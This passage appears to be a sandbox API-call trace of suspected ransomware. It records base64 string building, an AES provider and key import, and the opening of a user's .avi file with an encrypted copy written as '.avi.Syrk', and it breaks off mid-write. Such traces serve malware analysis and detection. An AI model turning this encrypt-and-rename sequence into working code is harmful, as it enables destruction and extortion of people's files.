[0256.398] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.398] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.399] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0256.399] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.399] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.399] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0256.399] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.399] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.399] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0256.399] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.399] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.400] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.400] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0256.400] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.400] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0256.400] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.401] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0256.401] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.401] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.401] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0256.401] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.401] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.401] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0256.401] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.401] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.402] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.402] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0256.402] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.402] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.402] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0256.402] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.402] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.402] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0256.402] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.403] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.403] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0256.403] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.403] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.403] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0256.403] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0256.404] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0256.404] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.404] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0256.404] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0256.405] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.405] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0256.405] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0256.405] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.405] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0256.405] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0256.405] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0256.407] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0256.408] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0256.408] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0256.408] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0256.408] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0256.408] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.409] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0256.409] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0256.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0256.409] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0256.410] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0256.410] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0256.410] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.410] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0256.410] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.411] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.411] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.411] EtwEventActivityIdControl () returned 0x0 [0256.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.411] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.411] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0256.413] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d3a8) returned 1 [0256.415] CryptImportKey (in: hProv=0x5c4d3a8, pbData=0x24d7f48*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99520) returned 1 [0256.415] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.415] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.415] EtwEventActivityIdControl () returned 0x0 [0256.415] EtwEventActivityIdControl () returned 0x0 [0256.415] EtwEventActivityIdControl () returned 0x0 [0256.421] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi")) returned 0x20 [0256.422] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi")) returned 0x20 [0256.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0256.422] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", lpFilePart=0x0) returned 0x2a [0256.422] EtwEventActivityIdControl () returned 0x0 [0256.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.423] EtwEventActivityIdControl () returned 0x0 [0256.423] EtwEventActivityIdControl () returned 0x0 [0256.423] EtwEventActivityIdControl () returned 0x0 [0256.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0256.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi", lpFilePart=0x0) returned 0x2a [0256.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.425] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0256.425] GetFileType (hFile=0x364) returned 0x1 [0256.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.425] GetFileType (hFile=0x364) returned 0x1 [0256.425] EtwEventActivityIdControl () returned 0x0 [0256.425] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.425] EtwEventActivityIdControl () returned 0x0 [0256.425] EtwEventActivityIdControl () returned 0x0 [0256.425] EtwEventActivityIdControl () returned 0x0 [0256.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0256.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk", lpFilePart=0x0) returned 0x2f [0256.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.427] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\H1J7hBLzIW7L.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\h1j7hblziw7l.avi.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0256.427] GetFileType (hFile=0x368) returned 0x1 [0256.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.427] GetFileType (hFile=0x368) returned 0x1 [0256.427] EtwEventActivityIdControl () returned 0x0 [0256.428] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x24e7f64 | out: pbBuffer=0x24e7f64) returned 1 [0256.429] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.429] CryptDuplicateKey (in: hKey=0x5c99520, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c997e0) returned 1 [0256.429] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.429] CryptSetKeyParam (hKey=0x5c997e0, dwParam=0x4, pbData=0x24e929c*=0x1, dwFlags=0x0) returned 1 [0256.429] CryptSetKeyParam (hKey=0x5c997e0, dwParam=0x1, pbData=0x24e9268, dwFlags=0x0) returned 1 [0256.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.430] EtwEventActivityIdControl () returned 0x0 [0256.430] EtwEventActivityIdControl () returned 0x0 [0256.430] EtwEventActivityIdControl () returned 0x0 [0256.430] EtwEventActivityIdControl () returned 0x0 [0256.431] ReadFile (in: hFile=0x364, lpBuffer=0x24ebed8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24ebed8*, lpNumberOfBytesRead=0x5a2e7d8*=0x4d2d, lpOverlapped=0x0) returned 1 [0256.432] CryptEncrypt (in: hKey=0x5c997e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24ffef0*, pdwDataLen=0x5a2e7cc*=0x4d20, dwBufLen=0x4d20 | out: pbData=0x24ffef0*, pdwDataLen=0x5a2e7cc*=0x4d20) returned 1 [0256.433] WriteFile (in: hFile=0x368, lpBuffer=0x24e804c*, nNumberOfBytesToWrite=0x1000, 